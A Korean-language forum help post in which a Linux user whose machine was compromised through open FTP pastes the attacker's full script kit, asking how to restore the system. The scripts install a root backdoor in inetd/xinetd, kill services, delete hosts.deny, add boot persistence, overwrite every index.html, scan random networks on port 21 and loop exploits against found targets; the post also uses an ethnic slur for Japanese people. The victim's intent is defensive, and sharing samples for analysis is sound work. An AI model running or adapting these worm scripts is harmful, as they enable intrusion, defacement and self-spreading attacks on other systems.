ftp를 열어놓았었는데...
다음 소스로 제 컴을 뽀사붔네요 이잉~
홈페이지는 무슨 쪽바리 라면이 뜨고 ...
관련 화일을 다지우고 restart했는데
되네요...그래서 그냥 시스템을 복구하려는데
지식이 짧아서요...
도와주세요...
#######################################################
bd62.sh
#!/bin/sh
cp asp62 /sbin/asp
echo asp stream tcp nowait root /sbin/asp >> /etc/inetd.conf
killall -HUP inetd
echo "ftp" >> /etc/ftpusers
echo "anonymous" >> /etc/ftpusers
killall -9 rpc.statd
killall -9 rpc.rstatd
rm -f /sbin/rpc.statd
rm -f /usr/sbin/rpc.rstatd
touch .w
touch .l
#######################################################
bd7.sh
cp asp7 /usr/sbin/aspw
cp asp /etc/xinetd.d
killall -USR1 xinetd
killall -9 lpd;rm -f /usr/sbin/lpd;touch /usr/sbin/lpd;
touch .
touch .l
#######################################################
getip.sh
#!/bin/sh
PATH="/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin"
export PATH
route -n | while read A
do
GW=`echo $A | awk '{printf("%s",$1)}'`
if [ $GW = "0.0.0.0" ]
then
IFACE=`echo $A | awk '{printf("%s",$8)}'`
ifconfig $IFACE | while read B
do
CMP=`echo $B | awk '{printf("%s",$1)}'`
if [ $CMP = "inet" ]
then
MYIP=`echo $B | cut -d: -f 2 | awk '{printf("%s",$1)}'`
# echo "my default iface is $IFACE and my ip is $MYIP"
echo $MYIP > myip
exit
fi
done
fi
done
###################################################################
hackl.sh
#!/bin/sh
tail -f .l | while read TARGET
do
./lh.sh $TARGET
done
###################################################################
hackw.sh
#!/bin/sh
tail -f .w | while read TARGET
do
./wh.sh $TARGET
done
###################################################################
lh.sh
#!/bin/sh
./l $1 -t 0 -r 0xbffff3dc
./l $1 -t 0 -r 0xbffff128
./l $1 -t 0 -r 0xbffff148
./l $1 -t 0 -r 0xbffff3c8
./l $1 -t 0 -r 0xbffff488
./l $1 -t 0 -r 0xbffff3e8
./l $1 -t 0 -r 0xbffff3d8
./l $1 brute -t 0
#######################################################
scan.sh
#!/bin/sh
if /sbin/route | grep ppp0 >> /dev/null
then
DEVICE="ppp0"
SPEED="dialup"
else
DEVICE="eth0"
SPEED="t1"
fi
while true
do
CLASSB=`./randb`
./synscan $CLASSB .heh $DEVICE $SPEED 21
done
#######################################################
start.sh
#!/bin/sh
nohup find / -name "index.html" -exec /bin/cp index.html {} ; &
rm -f /etc/hosts.deny
./getip.sh
if [ -f /etc/inetd.conf ]
then
cp synscan62 synscan
cp w62 w
cp l62 l
cp s62 s
cp randb62 randb
echo "/usr/src/.poop/start62.sh" >> /etc/rc.d/rc.sysinit
./bd62.sh
./start62.sh
else
cp synscan7 synscan
cp w7 w
cp l7 l
cp s7 s
cp randb7 randb
echo "/usr/src/.poop/start7.sh" >> /etc/rc.d/rc.sysinit
./bd7.sh
./start7.sh
fi
#######################################################
start62.sh
#!/bin/sh
rm -f .w ;rm -f .l; touch .w; touch .l
nohup ./scan.sh &
nohup ./hackl.sh &
nohup ./hackw.sh &
#######################################################
start7.sh
#!/bin/sh
rm -f .w ;rm -f .l; touch .w; touch .l
nohup ./scan.sh &
nohup ./hackl.sh &
nohup ./hackw.sh &
#######################################################
wh.sh
#!/bin/sh
./w -t $1 -s0
./s -d0 $1
#######################################################
#######################################################
#######################################################
#######################################################--이이잉~